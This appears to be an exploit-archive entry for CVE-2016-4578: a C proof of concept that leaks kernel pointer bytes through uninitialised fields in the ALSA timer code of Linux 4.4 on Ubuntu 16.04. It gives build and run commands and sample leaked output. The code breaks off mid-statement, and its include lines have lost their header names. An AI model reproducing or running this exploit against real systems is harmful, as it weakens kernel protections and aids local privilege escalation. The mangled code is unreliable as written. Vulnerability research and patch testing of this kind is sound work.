#include #include #include #include #include #include #include #include #include #include #include #include #include #include # Exploit Title: Linux Kernel 4.4 (Ubuntu 16.04) - Leak kernel pointer in snd_timer_user_ccallback() # Google Dork: - # Date: 2019-03-11 # Exploit Author: wally0813 # Vendor Homepage: - # Software Link: - # Version: Linux Kernel 4.4 (Ubuntu 16.04) # Tested on: ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux # CVE: CVE-2016-4578 # Category: Local /* * [ Briefs ] * - If snd_timer_user_ccallback() doesn't initialize snd_timer_tread.event and snd_timer_tread.val, they are leaked by snd_timer_user_read() * - This is local exploit against the CVE-2016-4578. * * [ Tested version ] * - 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux * * [ Prerequisites ] * - * * [ Goal ] * - Leak 4 bytes kernel pointer address using snd_timer_user_ccallback() * * [ Run exploit ] * - $ gcc -o poc poc.c * - $ sudo ./poc * leak_value(event) : ffff8800 * leak_value(val) : ffffffff * * [ Contact ] * - soyeoni0813@gmail.com */ int fd; void leak(){ struct snd_timer_tread td; struct snd_timer_select st; struct snd_timer_params ps; int r; unsigned int leak_value_e, leak_value_v; int tread; memset(&td,0,sizeof(td)); memset(&st,0,sizeof(st)); memset(&ps,0,sizeof(ps)); // set tread tread = 1; ps.filter |= 1<